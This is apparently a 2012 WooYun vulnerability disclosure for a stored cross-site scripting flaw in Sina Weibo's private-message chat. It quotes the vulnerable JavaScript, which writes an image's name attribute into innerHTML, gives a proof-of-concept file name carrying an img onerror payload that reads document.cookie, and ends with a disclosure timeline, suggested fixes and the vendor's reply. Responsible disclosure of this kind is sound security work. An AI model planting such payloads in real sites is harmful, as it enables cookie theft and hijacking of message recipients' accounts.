当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-013677

漏洞标题:新浪微博私信处存储型XSS

相关厂商:新浪

漏洞作者: 路人甲

提交时间:2012-10-21 20:18

修复时间:2012-12-05 20:19

公开时间:2012-12-05 20:19

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-10-21: 细节已通知厂商并且等待厂商处理中
2012-10-21: 厂商已经确认,细节仅向厂商公开
2012-10-31: 细节向核心白帽子及相关领域专家公开
2012-11-10: 细节向普通白帽子公开
2012-11-20: 细节向实习白帽子公开
2012-12-05: 细节向公众公开

简要描述:

因为“提交”,所以提交。

详细说明:

缺陷文件:http://js.t.sinajs.cn/t4/webim/js/webim.js?v=683ba479e29b6483
缺陷代码:
1. 微博私信中,点击图片,查看大图时,触发以下事件。

bindDomEvent: function() {
var o = this;
f.core.evt.delegatedEvent(this._root).add("wbim_img_preview", "click",
function(r) {
var q = r.el,
s = q.getAttribute("fid"),
t = q.getAttribute("preview"),
p = q.getAttribute("name");
if (!n) {
n = new f.wbim.ui.PreviewBox();
n.render(f.E("wbim_box"))
}
t && g.fire("previewBox.changeUrl", {
src: t,
fid: s,
name: p
});
f.core.evt.stopEvent()
})
},


2. 可以看到, p = q.getAttribute("name"); 取出了图片元素的name属性。然后作为参数传递给了previewBox.changeUrl事件。
3. 再看事件被fire时的行为。

bindDataEvents: function() {
var j = this;
f.add("previewBox.changeUrl",
function(k, l) {
j.show();
var m = l.src;
if (j._lastImgUrl && j._lastImgUrl == m) {
j.rotation(0)
} else {
if (j.img) {
j.boxNode.removeChild(j.img);
j.img = null
}
j.img = document.createElement("img");
j.boxNode.appendChild(j.img);
j.initArea = {
w: j.img.offsetWidth,
h: j.img.offsetHeight
};
j.resetStyle();
j.img.src = j._lastImgUrl = m;
j.downBT.href = m;
j.checkImgSize();
j.pictureName.innerHTML = l.name
}
});


其中 function(k,l){ } 为事件回调函数, l 为 步骤1中的

{
src: t,
fid: s,
name: p <-- q.getAttribute("name")
}


4. j.pictureName.innerHTML = l.name 这句实际的运行链条是:
j.pictureName.innerHTML = l.name = p = q.getAttribute("name")
----------------------------------------
由于获取图片的name属性后,没有做二次过滤,就直接输出到了innerHTML,从而导致XSS。
POC:
将一个图片的文件名修改为:baidu_sylogo1.gif#&quot;&lt;img src=1 onerror=alert(document.cookie)&gt;.gif


在WEBIM处的聊天窗口里,上传这个图片并发送。
对方点击图片后,即可触发XSS。
----------------------------------------
代入到上面的缺陷过程走一遍。

<img title="图片" alt="baidu_sylogo1.gif#&quot;&lt;img src=1 onerror=alert(document.cookie)&gt;.gif" src="http://vdisk-thumb-1.wcdn.cn/maxsize.191/data.vdisk.me/29995023/6477c6794eecaca3f31c125f7b16b1cad56af0ea?ip=1350836400,172.16.105.125&amp;ssig=reE%2BtbnAoV&amp;Expires=1350835200&amp;KID=sae,l30zoo1wmz&amp;source=209678993" onerror="this.src='http://img.t.sinajs.cn/t4/appstyle/webim/images/file.gif';" action-type="wbim_img_preview" fid="176029019" preview="http://upload.api.weibo.com/2/mss/msget?source=209678993&amp;fid=176029019" name="baidu_sylogo1.gif#&quot;&lt;img src=1 onerror=alert(document.cookie)&gt;.gif">


p=q.getAttribute("name")= 自动转义("baidu_sylogo1.gif#&quot;&lt;img src=1 onerror=alert(document.cookie)&gt;.gif") = baidu_sylogo1.gif#"<img src=1 onerror=alert(document.cookie)>;.gif
然后.innerHTML=p 就会运行alert(document.cookie)
------------------------------------------
运行效果如下:

漏洞证明:

如上。

修复方案:

1. 在取出q.getAttribute("name")后,进行二次过滤,再输出到innerHTML
2. 当然也可以和你们现在这样,把&改为x

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2012-10-21 23:44

厂商回复:

感谢对新浪安全的关注,漏洞已过时。

最新状态:

暂无